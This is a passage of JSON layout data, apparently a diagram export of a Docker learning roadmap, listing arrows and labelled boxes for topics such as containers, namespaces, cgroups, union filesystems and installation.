-0.18181818181824383,\n              \"y\": 113.97948286209976\n            }\n          }\n        },\n        {\n          \"ID\": \"9428\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"20\",\n          \"w\": \"154\",\n          \"h\": \"41\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1355\",\n          \"y\": \"1291\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 154.37932265053473,\n              \"y\": 40.786503208687236\n            },\n            \"p1\": {\n              \"x\": 0.381694744782499,\n              \"y\": -0.08021121448327811\n            },\n            \"p2\": {\n              \"x\": -0.11753323068592181,\n              \"y\": 0.26273773164575687\n            }\n          }\n        },\n        {\n          \"ID\": \"9429\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"21\",\n          \"w\": \"161\",\n          \"h\": \"2\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1352\",\n          \"y\": \"1278\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 161.43623321529276,\n              \"y\": 2.1515151515150137\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927457,\n              \"y\": 0.00035566936975390845\n            },\n            \"p2\": {\n              \"x\": 0.34973142699914206,\n              \"y\": -0.03412281550845364\n            }\n          }\n        },\n        {\n          \"ID\": \"9430\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"22\",\n          \"w\": \"333\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"867\",\n          \"y\": \"1459\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0.04142925695464328,\n              \"y\": 0.362673214497363\n            },\n            \"p1\": {\n              \"x\": 0.499957866859274,\n              \"y\": 0.0003556693697539092\n            },\n            \"p2\": {\n              \"x\": 332.81818181818176,\n              \"y\": 0.362673214497363\n            }\n          }\n        },\n        {\n          \"ID\": \"9431\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"23\",\n          \"w\": \"136\",\n          \"h\": \"24\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1369\",\n          \"y\": \"1427\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 136.15013250346146,\n              \"y\": -0.2566671811218839\n            },\n            \"p1\": {\n              \"x\": 0.4699759807846267,\n              \"y\": 0.06405124099279334\n            },\n            \"p2\": {\n              \"x\": -0.04412647008598469,\n              \"y\": 23.637062463360053\n            }\n          }\n        },\n        {\n          \"ID\": \"9432\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"24\",\n          \"w\": \"131\",\n          \"h\": \"24\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1373\",\n          \"y\": \"1465\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 130.95544602123732,\n              \"y\": 23.867029894531242\n            },\n            \"p1\": {\n              \"x\": 0.3512843587716724,\n              \"y\": -0.055651375067110674\n            },\n            \"p2\": {\n              \"x\": -0.46006702341355776,\n              \"y\": -0.02669974995069424\n            }\n          }\n        },\n        {\n          \"ID\": \"9433\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"25\",\n          \"h\": \"46\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1352\",\n          \"y\": \"1121\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 149.95030847121234,\n              \"y\": 46.17526038328424\n            },\n            \"p1\": {\n              \"x\": 0.42265907915157874,\n              \"y\": -0.08346266597689306\n            },\n            \"p2\": {\n              \"x\": 0.3992035647902412,\n              \"y\": -0.11436732584661513\n            }\n          }\n        },\n        {\n          \"ID\": \"9434\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"26\",\n          \"w\": \"153\",\n          \"h\": \"2\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1360\",\n          \"y\": \"1108\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 153.43623321529276,\n              \"y\": 2.1515151515150137\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592745,\n              \"y\": 0.00035566936975391084\n            },\n            \"p2\": {\n              \"x\": 0.04816647286861553,\n              \"y\": -0.34845706590590453\n            }\n          }\n        },\n        {\n          \"ID\": \"9435\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"27\",\n          \"w\": \"159\",\n          \"h\": \"23\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1346\",\n          \"y\": \"916\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0.4646359097735058,\n              \"y\": 23.353294775624022\n            },\n            \"p1\": {\n              \"x\": 0.5172121703355936,\n              \"y\": -0.04134567000631401\n            },\n            \"p2\": {\n              \"x\": 159.51104906422256,\n              \"y\": 0.2084809210585945\n            }\n          }\n        },\n        {\n          \"ID\": \"9436\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"28\",\n          \"w\": \"157\",\n          \"h\": \"64\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1346\",\n          \"y\": \"865\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0.4646359097735058,\n              \"y\": 63.67107299659381\n            },\n            \"p1\": {\n              \"x\": 0.4603346517294317,\n              \"y\": -0.10421022711848146\n            },\n            \"p2\": {\n              \"x\": 157.13722200221582,\n              \"y\": 0.1711990879144878\n            }\n          }\n        },\n        {\n          \"ID\": \"9437\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"29\",\n          \"w\": \"169\",\n          \"h\": \"24\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1338\",\n          \"y\": \"950\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0.15624119275003068,\n              \"y\": 0.628973320155751\n            },\n            \"p1\": {\n              \"x\": 0.5012965221560048,\n              \"y\": 0.04743407560804315\n            },\n            \"p2\": {\n              \"x\": 168.69796259522582,\n              \"y\": 24.367243940222806\n            }\n          }\n        },\n        {\n          \"ID\": \"9438\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"30\",\n          \"w\": \"152\",\n          \"h\": \"72\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1350\",\n          \"y\": \"956\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0.025376502783501564,\n              \"y\": -0.0299157903291416\n            },\n            \"p1\": {\n              \"x\": 0.5934120757823323,\n              \"y\": 0.11641742644399297\n            },\n            \"p2\": {\n              \"x\": 151.95030847121234,\n              \"y\": 71.77835283537365\n            }\n          }\n        },\n        {\n          \"ID\": \"9439\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"31\",\n          \"w\": \"1\",\n          \"h\": \"501\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1223\",\n          \"y\": \"776\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49995786685927396,\n              \"y\": 0.00035566936975390927\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 501.00085499312513\n            }\n          }\n        },\n        {\n          \"ID\": \"9440\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"32\",\n          \"measuredW\": \"104\",\n          \"measuredH\": \"40\",\n          \"x\": \"1172\",\n          \"y\": \"724\",\n          \"properties\": {\n            \"size\": \"32\",\n            \"text\": \"Docker\"\n          }\n        },\n        {\n          \"ID\": \"9445\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"34\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1075\",\n          \"y\": \"919\",\n          \"properties\": {\n            \"controlName\": \"100-introduction\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"93\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"102\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Introduction\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9446\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"35\",\n          \"measuredW\": \"155\",\n          \"measuredH\": \"25\",\n          \"x\": \"731\",\n          \"y\": \"1111\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Linux Fundamentals\"\n          }\n        },\n        {\n          \"ID\": \"9447\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"36\",\n          \"w\": \"1\",\n          \"h\": \"101\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1223\",\n          \"y\": \"610\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 0.060606060606005485\n            },\n            \"p1\": {\n              \"x\": 0.4999578668592744,\n              \"y\": 0.0003556693697539094\n            },\n            \"p2\": {\n              \"x\": -0.18181818181824383,\n              \"y\": 101.15151515151513\n            }\n          }\n        },\n        {\n          \"ID\": \"9448\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"37\",\n          \"measuredW\": \"108\",\n          \"measuredH\": \"26\",\n          \"x\": \"756\",\n          \"y\": \"1304\",\n          \"properties\": {\n            \"text\": \"Prerequisites\",\n            \"size\": \"18\"\n          }\n        },\n        {\n          \"ID\": \"9449\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"38\",\n          \"w\": \"300\",\n          \"h\": \"44\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"660\",\n          \"y\": \"917\",\n          \"properties\": {\n            \"color\": \"16770457\"\n          }\n        },\n        {\n          \"ID\": \"9450\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"39\",\n          \"measuredW\": \"149\",\n          \"measuredH\": \"25\",\n          \"x\": \"734\",\n          \"y\": \"926\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Package Managers\"\n          }\n        },\n        {\n          \"ID\": \"9451\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"40\",\n          \"w\": \"300\",\n          \"h\": \"44\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"660\",\n          \"y\": \"964\",\n          \"properties\": {\n            \"color\": \"16770457\"\n          }\n        },\n        {\n          \"ID\": \"9452\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"41\",\n          \"measuredW\": \"216\",\n          \"measuredH\": \"25\",\n          \"x\": \"701\",\n          \"y\": \"973\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Users / Groups Permissions\"\n          }\n        },\n        {\n          \"ID\": \"9453\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"42\",\n          \"w\": \"300\",\n          \"h\": \"44\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"660\",\n          \"y\": \"1011\",\n          \"properties\": {\n            \"color\": \"16770457\"\n          }\n        },\n        {\n          \"ID\": \"9454\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"43\",\n          \"measuredW\": \"127\",\n          \"measuredH\": \"25\",\n          \"x\": \"745\",\n          \"y\": \"1020\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Shell commands\"\n          }\n        },\n        {\n          \"ID\": \"9455\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"44\",\n          \"w\": \"300\",\n          \"h\": \"44\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"660\",\n          \"y\": \"1058\",\n          \"properties\": {\n            \"color\": \"16770457\"\n          }\n        },\n        {\n          \"ID\": \"9456\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"45\",\n          \"measuredW\": \"108\",\n          \"measuredH\": \"25\",\n          \"x\": \"755\",\n          \"y\": \"1067\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Shell scripting\"\n          }\n        },\n        {\n          \"ID\": \"9457\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"46\",\n          \"measuredW\": \"142\",\n          \"measuredH\": \"25\",\n          \"x\": \"738\",\n          \"y\": \"1250\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Web Development\"\n          }\n        },\n        {\n          \"ID\": \"9458\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"47\",\n          \"w\": \"300\",\n          \"h\": \"44\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"660\",\n          \"y\": \"1151\",\n          \"properties\": {\n            \"color\": \"16770457\"\n          }\n        },\n        {\n          \"ID\": \"9459\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"48\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"25\",\n          \"x\": \"713\",\n          \"y\": \"1160\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Programming Languages\"\n          }\n        },\n        {\n          \"ID\": \"9460\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"49\",\n          \"w\": \"300\",\n          \"h\": \"44\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"660\",\n          \"y\": \"1198\",\n          \"properties\": {\n            \"color\": \"16770457\"\n          }\n        },\n        {\n          \"ID\": \"9461\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"50\",\n          \"measuredW\": \"183\",\n          \"measuredH\": \"25\",\n          \"x\": \"717\",\n          \"y\": \"1207\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Application Architecture\"\n          }\n        },\n        {\n          \"ID\": \"9462\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"51\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"44\",\n          \"w\": \"299\",\n          \"h\": \"44\",\n          \"x\": \"1494\",\n          \"y\": \"846\",\n          \"properties\": {\n            \"controlName\": \"100-introduction:what-are-containers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"167\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"66\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"What are Containers?\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9463\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"52\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"44\",\n          \"w\": \"299\",\n          \"h\": \"44\",\n          \"x\": \"1494\",\n          \"y\": \"897\",\n          \"properties\": {\n            \"controlName\": \"101-introduction:need-for-containers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"223\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"38\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Why do we need Containers?\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9464\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"53\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"44\",\n          \"w\": \"299\",\n          \"h\": \"44\",\n          \"x\": \"1494\",\n          \"y\": \"947\",\n          \"properties\": {\n            \"controlName\": \"102-introduction:bare-metal-vm-containers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"254\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"23\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Bare Metal vs VMs vs Containers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9465\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"54\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"44\",\n          \"w\": \"299\",\n          \"h\": \"44\",\n          \"x\": \"1494\",\n          \"y\": \"997\",\n          \"properties\": {\n            \"controlName\": \"103-introduction:docker-and-oci\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"124\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"88\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Docker and OCI\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9466\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"55\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1075\",\n          \"y\": \"1091\",\n          \"properties\": {\n            \"controlName\": \"101-underlying-technologies\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"189\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"54\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Underlying Technologies\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9473\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"57\",\n          \"measuredW\": \"182\",\n          \"measuredH\": \"44\",\n          \"w\": \"182\",\n          \"h\": \"44\",\n          \"x\": \"1494\",\n          \"y\": \"1089\",\n          \"properties\": {\n            \"controlName\": \"100-underlying-technologies:namespaces\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"182\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"102\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"40\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Namespaces\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9474\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"58\",\n          \"measuredW\": \"107\",\n          \"measuredH\": \"44\",\n          \"w\": \"107\",\n          \"h\": \"44\",\n          \"x\": \"1684\",\n          \"y\": \"1089\",\n          \"properties\": {\n            \"controlName\": \"101-underlying-technologies:cgroups\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"107\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"63\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"22\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"cgroups\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9475\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"59\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"44\",\n          \"w\": \"299\",\n          \"h\": \"44\",\n          \"x\": \"1494\",\n          \"y\": \"1138\",\n          \"properties\": {\n            \"controlName\": \"102-underlying-technologies:union-filesystems\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"140\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"80\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Union Filesystems\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9476\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"60\",\n          \"measuredW\": \"245\",\n          \"measuredH\": \"25\",\n          \"x\": \"1498\",\n          \"y\": \"1187\",\n          \"properties\": {\n            \"size\": \"17\",\n            \"text\": \"Just get the basic idea of these.\"\n          }\n        },\n        {\n          \"ID\": \"9477\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"61\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1075\",\n          \"y\": \"1259\",\n          \"properties\": {\n            \"controlName\": \"102-installation-setup\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"145\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"76\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Installation / Setup\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9478\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"62\",\n          \"measuredW\": \"316\",\n          \"measuredH\": \"44\",\n          \"w\": \"316\",\n          \"h\": \"44\",\n          \"x\": \"1486\",\n          \"y\": \"1257\",\n          \"properties\": {\n            \"controlName\": \"100-installation-setup:docker-desktop\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"316\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"281\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"21\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Docker Desktop ( Win / Mac / Linux)\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9479\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"63\",\n          \"measuredW\": \"316\",\n          \"measuredH\": \"44\",\n          \"w\": \"316\",\n          \"h\": \"44\",\n          \"x\": \"1486\",\n          \"y\": \"1306\",\n          \"properties\": {\n            \"controlName\": \"101-installation-setup:docker-engine\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"316\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"181\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"71\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Docker Engine ( Linux )\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9480\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"64\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1086\",\n          \"y\": \"1433\",\n          \"properties\": {\n            \"controlName\": \"104-data-persistence\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": 